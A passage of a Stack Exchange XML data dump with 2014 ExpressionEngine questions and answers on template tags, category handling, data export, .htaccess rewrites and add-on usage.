1&#xA;Address Line 2: Billing Address 2&#xA;Town: Shipping City&#xA;Postcode: Shipping Postcode&#xA;&#xA;Postal Address&#xA;Same as billing address: checked&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understood that my billing details should have been used..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in the gateway instructions ”PayPal only displays shipping addresses on their payment capture page. If a shipping address is captured on your site, it will be sent to PayPal. If a shipping address is not captured on your site, the billing address will be assumed to be the shipping address and will be sent to PayPal instead.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have submitted the billing info but it is still taking the shipping info.. except for the Shipping Address 2 field which I left blank. Also the first and last name are being cut down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this working as it is meant to do or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-04-25T15:34:15.677" Title="Billing details in PayPal express" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19559" PostTypeId="1" AcceptedAnswerId="19560" CreationDate="2014-02-19T10:02:52.373" Score="0" ViewCount="127" Body="&lt;p&gt;I want to list out all posts based on the category_id of the current entry. But how can I get the category_id before the loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I could do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel&quot;mychannel&quot; category_id=&quot;2&quot;}&#xA; {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, I don't know the &lt;code&gt;category_id&lt;/code&gt; at that point.&#xA;As of now, I'm doing a basic channel entries loop, and run an embedded template that I pass the &lt;code&gt;category_id&lt;/code&gt; to. And that template lists out all the posts with that category set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;gwcode_categories&lt;/a&gt;, I can get the category_id and pass that along with the embedded template, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot;}&#xA;    {embed=&quot;include/get_posts&quot;  &#xA;    category=&quot;{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; last_only=&quot;yes&quot; style=&quot;linear&quot;}{cat_id}{/exp:gwcode_categories}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My categories are nested, so that's why I'm using last_only btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, is there a plugin of some sort that I can use to get the category_id of the current entry before the loop? Like some sort of global dynamic variable?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2014-02-19T10:16:20.380" Title="Get category_id of entry before loop?" Tags="|categories|entry|gwcode-categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19560" PostTypeId="2" ParentId="19559" CreationDate="2014-02-19T10:16:20.380" Score="1" Body="&lt;p&gt;I just found the solution by using this free addon called &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; which just lets me get the category_id of the current uri and pass that along with the initial channel:entries loop. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; category=&quot;{last_segment_category_id}&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I spent hours making that embedded template thing to work. And now I don't even need it. Allthough I did learn that it's possible to accomplish amazing stuff by embedding templates, so I got that going for me, which is nice.&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2014-02-19T10:16:20.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19561" PostTypeId="1" AcceptedAnswerId="19593" CreationDate="2014-02-19T10:34:24.317" Score="2" ViewCount="92" Body="&lt;p&gt;I was just wondering if there is a way to create an extension that allows me to do something if an order's status is changed. There doesn't currently seem to be a hook that allows this to happen, but I'm sure there was in Store 1...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2014-03-20T01:04:41.780" Title="Exp-resso store - do something on status change" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19562" PostTypeId="2" ParentId="19550" CreationDate="2014-02-19T10:42:37.870" Score="2" Body="&lt;p&gt;ExpressionEngine doesn't really need to come into this. Try using HTML5's geolocation API. The success of this approach will depend on the visitor's browser. For instance, Chrome will be using Google's location data which is, as you'd imagine, pretty good and can fall back to use things such as your WAN name to locate you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://html5doctor.com/finding-your-position-with-geolocation/&quot; rel=&quot;nofollow&quot;&gt;http://html5doctor.com/finding-your-position-with-geolocation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you'll need a database of IP ranges vs their location. This is, at best, going to be no more reliable than the HTML5 Geolocation API as it will only show the location of where my 'node' pops up and joins my ISP's backbone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance using an IP to location service (IP2Location) my current location is shown as being about 100 miles from where I actually am - in the UK that's a big deal. A similar demo using HTML5 Geolocation shows the actual road I am on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some sample IP location bits &lt;a href=&quot;http://www.iplocation.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.iplocation.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a store locator you wouldn't go far wrong using Objective HTML's Google Maps for ExpressionEngine add-on. It's ideal for that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to summarise, I would use a combination of HTML5 Geolocation API and feed the resulting lat/lon into GM4EE.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-02-19T10:42:37.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19564" PostTypeId="1" CreationDate="2014-02-19T12:44:58.047" Score="2" ViewCount="59" Body="&lt;p&gt;I'm currently trying to export channel entry data from a version 1 ExpressionEngine site, v1.6.9 to be exact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me what the best way of doing this would be, Looking around a lot of modules on devot-ee etc seem to be ExpressionEngine v2 specific. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adam&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-02-19T16:56:11.010" Title="Exporting Channel Entries on EEv1" Tags="|channel-entries|import|export|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19566" PostTypeId="2" ParentId="17692" CreationDate="2014-02-19T13:18:14.607" Score="0" Body="&lt;p&gt;I encountered the same problems after to a Wamp upgrade (2.4). An other strange problem occurred too: the .htaccess files to remove index.php, no more was recognized by the local Apache server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i've found this solution  putting this code inside httpd-vhosts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName localhost&#xA;    DocumentRoot &quot;D:/Dropbox/www/mysite&quot;&#xA;    ErrorLog &quot;logs/localhost-error.log&quot;&#xA;    CustomLog &quot;logs/localhost.log&quot; common&#xA;&#xA;    &amp;lt;Directory &quot;D:/Dropbox/www/mysite&quot;&amp;gt;        &#xA;        allow from all&#xA;        order allow,deny&#xA;        AllowOverride All&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now the .htaccess is recognized and working fine, but the page loading was very very slow (8-10 seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many .htaccess parameters, include the official one in the EE doc. With this one, the performance is very good (0.5 seconds):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Dont list files in index pages&#xA;IndexIgnore *&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;  # Enable Rewrite Engine&#xA;  # ------------------------------&#xA;  RewriteEngine On&#xA;  RewriteBase /&#xA;&#xA;  # Redirect index.php Requests&#xA;  # ------------------------------&#xA;  # RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;     #RewriteCond %{THE_REQUEST} !/system/.*&#xA;  #RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;  # Standard ExpressionEngine Rewrite&#xA;  # ------------------------------&#xA;  RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;RewriteCond %{QUERY_STRING} ^(ACT=.*)$ [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^(URL=.*)$ [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^(CSS=.*)$ [NC]&#xA; RewriteRule ^(.*)$ /index.php?&amp;amp;%{QUERY_STRING} [L] &#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-19T13:18:14.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19568" PostTypeId="1" AcceptedAnswerId="19569" CreationDate="2014-02-19T15:48:13.457" Score="0" ViewCount="34" Body="&lt;p&gt;I have a channel for scholarships with a a Multi Select field with a list of schools. Each scholarship is available to certain schools, so I want to create a div with a class for each school, so I can use jQuery to hide/show scholarships available for each school using select. The options are hard coded right now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;&amp;lt;option value=&quot;Example1-High-School&quot;&amp;gt;Example1 High School&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Example2-High-School&quot;&amp;gt;Example2 High School&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am getting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;Example1 High School Example2 High School&quot;&amp;gt;&#xA; More information about the scholarship&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;Example1-High-School Example2-High-School&quot;&amp;gt;&#xA; More information about the scholarship&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;scholarships&quot; dynamic=&quot;off&quot; sort=&quot;asc&quot; orderby=&quot;title&quot;}&#xA;            &amp;lt;div class=&quot;{schools}{exp:low_replace find='SPACE' replace='-'}{item}{/exp:low_replace} {/schools}&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Schools:&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;{schools}&#xA;                    &amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;&#xA;{/schools}      &amp;lt;/ul&amp;gt;&#xA;                {description}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2014-02-19T16:15:58.770" Title="Trying to use low_replace inside an EE Multi Select field" Tags="|parsing|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19569" PostTypeId="2" ParentId="19568" CreationDate="2014-02-19T16:15:58.770" Score="0" Body="&lt;p&gt;How about something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;{exp:low_replace find=&quot;SPACE|,&quot; replace=&quot;-|SPACE&quot; multiple=&quot;yes&quot;}{schools backspace=&quot;1&quot;}{item},{/schools}{/exp:low_replace}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-19T16:15:58.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19570" PostTypeId="1" AcceptedAnswerId="19704" CreationDate="2014-02-19T16:51:01.713" Score="1" ViewCount="1341" Body="&lt;p&gt;have come up against a problem recently and its driving me crazy. Just wondered if anyone can give some advice on it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of exporting data from a EEv1 site to an EEv2 site. So far I have exported some data from a channel into an XML file. What I'd like to be able to do is the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;entries&amp;gt;&#xA;&#xA;{exp:weblog:entries weblog=&quot;assets&quot; dynamic=&quot;off&quot; status=&quot;Open&quot; limit=&quot;1000&quot; disable=&quot;pagination&quot;}&#xA;&#xA;&amp;lt;entry&amp;gt;&#xA;&#xA;&amp;lt;!-- Entry ID | URL Title | Title | Author | Status | Entry Date --&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;&amp;lt;entry_id&amp;gt;{entry_id}&amp;lt;/entry_id&amp;gt;&#xA;&amp;lt;url_title&amp;gt;{url_title}&amp;lt;/url_title&amp;gt;&#xA;&amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;&amp;lt;author&amp;gt;{author}&amp;lt;/author&amp;gt;&#xA;&amp;lt;status&amp;gt;{status}&amp;lt;/status&amp;gt;&#xA;&amp;lt;entry_date&amp;gt;{entry_date format=&quot;%d/%m/%y %h:%i %a&quot;}&amp;lt;/entry_date&amp;gt;&#xA;&#xA;&amp;lt;!-- Body --&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&amp;lt;![CDATA[{body}]]&amp;gt;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;!-- Page Images Matrix --&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;&#xA;&amp;lt;images&amp;gt;{images}&#xA;&amp;lt;matrix_cell_1&amp;gt;{image}&amp;lt;/matrix_cell_1&amp;gt;&#xA;&amp;lt;matrix_cell_2&amp;gt;&amp;lt;![CDATA[{label}]]&amp;gt;&amp;lt;/matrix_cell_2&amp;gt;&#xA;&amp;lt;matrix_cell_3&amp;gt;&amp;lt;![CDATA[{image-link}]]&amp;gt;&amp;lt;/matrix_cell_3&amp;gt;&#xA;&amp;lt;matrix_cell_4&amp;gt;&amp;lt;![CDATA[{openlink1}]]&amp;gt;&amp;lt;/matrix_cell_4&amp;gt;&#xA;{/images}&amp;lt;/images&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;/entry&amp;gt;&#xA;{/exp:weblog:entries}&#xA;&amp;lt;/entries&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the above I mean use Expression Engine tags to populate the XML file in a browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I save this XML file to the server and then navigate to the file in my browser, it would dynamically display all entries in that weblog in a presentable fashion. However it seems like the XML files just doesn't recognize the &lt;code&gt;{exp:weblog:entries...&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get an error, but it just display the tags exactly as shown on the XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to help out with this, as I'm sure I've had it working before. But that was a while ago and I've the feeling I may have missed something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-02-24T14:21:47.163" Title="Displaying ExpressionEngine Data in an XML file" Tags="|channel-entries|xml|export|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19571" PostTypeId="2" ParentId="19564" CreationDate="2014-02-19T16:56:11.010" Score="2" Body="&lt;p&gt;I have ended up going with the following plugin found on devot-ee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/weblog-entries-exporter&quot; rel=&quot;nofollow&quot;&gt;Weblog Entries Exporter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seemed to do the trick. Specifically for ExpressionEnginev1 it gives the option of exporting as a .CSV or .XML. Just what I needed&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-02-19T16:56:11.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19572" PostTypeId="2" ParentId="11200" CreationDate="2014-02-19T17:29:48.650" Score="1" Body="&lt;p&gt;I found this problem with composer created forms with &quot;Require CAPTCHA with logged-in members?&quot; set to &quot;No&quot;. When I attempt to fill in the form when logged in creates this error.&#xA;EE 2.7.3&#xA;Freeform Pro 4.1.3&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-02-19T17:29:48.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19573" PostTypeId="1" AcceptedAnswerId="19587" CreationDate="2014-02-19T17:32:16.047" Score="0" ViewCount="52" Body="&lt;p&gt;Ok, my site is made up of Cities and Properties within each city.  The usual flow is on the homepage there is a list of Cities, you click a city and it goes through to a City view which will then have a list of Properties, to which you can click through to a Property view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well some of my Cities only have 1 property, so I would like the link from City to go directly to the Property view, not the city view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;city&quot; dynamic=&quot;no&quot; orderby=&quot;city_sort_order&quot; sort=&quot;asc&quot;}&#xA;                &amp;lt;li class=&quot;location-box colour-{city_colour}&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;location-box colour-{city_colour}&quot;&amp;gt;&#xA;                            &amp;lt;figure&amp;gt;&#xA;                                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                                &amp;lt;img src=&quot;{city_main_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;                            &amp;lt;/figure&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2014-02-20T01:40:23.170" Title="Single Entry Linking" Tags="|channel-entries|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19574" PostTypeId="2" ParentId="19573" CreationDate="2014-02-19T17:47:10.867" Score="1" Body="&lt;p&gt;count the number of properties. if the number of properties ==1 redirect to the property. How to code it exactly is upto the way you've set up the properties and cities channels&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-02-19T17:47:10.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19576" PostTypeId="1" CreationDate="2014-02-19T18:54:46.587" Score="1" ViewCount="434" Body="&lt;p&gt;I have a grid field type that is working correctly without any issuse.  What i am trying to do is create an if statment basied on the search criteria of the grid search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;twelve columns&quot;&amp;gt;&#xA;    {courses search:course_type=&quot;Foundation&quot; search:degree_type=&quot;Masters&quot; search:applies_to = &quot;&amp;lt;?php echo $degreeName ?&amp;gt;&quot;}&#xA;    &amp;lt;div class=&quot;more-button white course-list-title&quot;&amp;gt;&#xA;        {courses:course_number} {courses:course_title}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;course-list-content&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;{courses:course_content} &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/courses}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above works fine.  What I want to do is create an if statment basied on the number of rows, that only returns one thing regardless if there are rows or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if courses:total_rows &amp;gt; 0 search:course_type=&quot;Foundation&quot; search:degree_type=&quot;Masters&quot; search:applies_to = &quot;&amp;lt;?php echo $degreeName ?&amp;gt;&quot; }&#xA;    Some Code&#xA;{if:else}&#xA;    Some Other Code&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2770" LastEditorUserId="197" LastEditDate="2014-02-20T17:34:48.310" LastActivityDate="2014-02-20T17:38:43.143" Title="If statement for grid field type" Tags="|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19577" PostTypeId="1" AcceptedAnswerId="26524" CreationDate="2014-02-19T19:26:33.113" Score="1" ViewCount="1106" Body="&lt;p&gt;Changed my Control Panel to https, but assets doesn't show images nor let me load. In http it works fine, but when i change the address to https, according to firebug, the address &lt;a href=&quot;https://myurl.com/index.php&quot; rel=&quot;nofollow&quot;&gt;https://myurl.com/index.php&lt;/a&gt; gets redirected. I already have &lt;code&gt;$config['assets_site_url'] = &quot;/index.php&quot;;&lt;/code&gt; on my config file, so what am i missing?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-12-29T19:40:35.843" Title="Unable to use Assets in in HTTPS" Tags="|assets|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19578" PostTypeId="1" AcceptedAnswerId="19581" CreationDate="2014-02-19T19:51:57.160" Score="1" ViewCount="1079" Body="&lt;p&gt;I am using twitter bootstrap and was wondering if it is possible using EE's native category channel tags, to append a class=&quot;dropdown-toggle&quot; to any parent category that contains children, and apply class=&quot;dropdown-menu&quot; to the children's unordered list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav nav-stacked products_nav&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;products.php&quot;&amp;gt;All products&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;dropdown&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;#&quot;&amp;gt;Corn Tortillas&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;products_corn_tortilla1.php&quot;&amp;gt;Tortilla 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#corn_tortilla2&quot;&amp;gt;Tortilla 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#corn_tortilla3&quot;&amp;gt;Tortilla 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;products_better-for-you-tortillas.php&quot;&amp;gt;Better-For-You Tortillas&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Artisan Style Tortillas&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;products_wraps.php&quot;&amp;gt;Wraps&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Tortilla Chips&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Tostadas&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Taco Shells &amp;amp;amp; Kits&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Chicharrones&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;Salsa, Dips, Toppings&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a data-toggle=&quot;tab&quot; href=&quot;#&quot;&amp;gt;All Others&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZXEP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look at this add-on, but from looking thru the examples, it doesn't seem to do what I need: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-02-19T22:23:06.453" Title="categories: parent and children - to display using twitter bootstrap" Tags="|channel|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19579" PostTypeId="1" AcceptedAnswerId="19613" CreationDate="2014-02-19T20:48:48.023" Score="1" ViewCount="394" Body="&lt;p&gt;This might be a simple question, but with Channel Forms, the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#id13&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see a channel_form.css file in themes&gt;cp_themes&gt;default&gt;css, but I'm wondering: how does Channel Form see that file? Or am I supposed to copy the file, rename, and place in css folder elsewhere? I guess I'm not getting how this &quot;path&quot; works.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-03-27T23:41:47.340" Title="Channel Form CSS?" Tags="|channel-form|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19580" PostTypeId="1" CreationDate="2014-02-19T21:08:24.920" Score="7" ViewCount="371" Body="&lt;p&gt;I've had the same problem happen a few times, on several different EE sites, but I can't determine the cause so I'm turning to y'all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Symptom: The site's main index page will fail to load and will display a blank white page with no output. When diagnosed, the problem turns out to be that the default template group &quot;forgot&quot; that it was the default template group. More specifically, the &quot;is_site_default&quot; field in the exp_templates table, was set to 'n' for all template groups. (In order to function, it has to be set to 'y' for one template group for each site you are running.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this happen to them, and if so, do you know what causes it, so I can avoid it recurring?&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2016-10-25T10:49:12.533" Title="Site &quot;forgot&quot; what the default template was" Tags="|templates|default|index|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
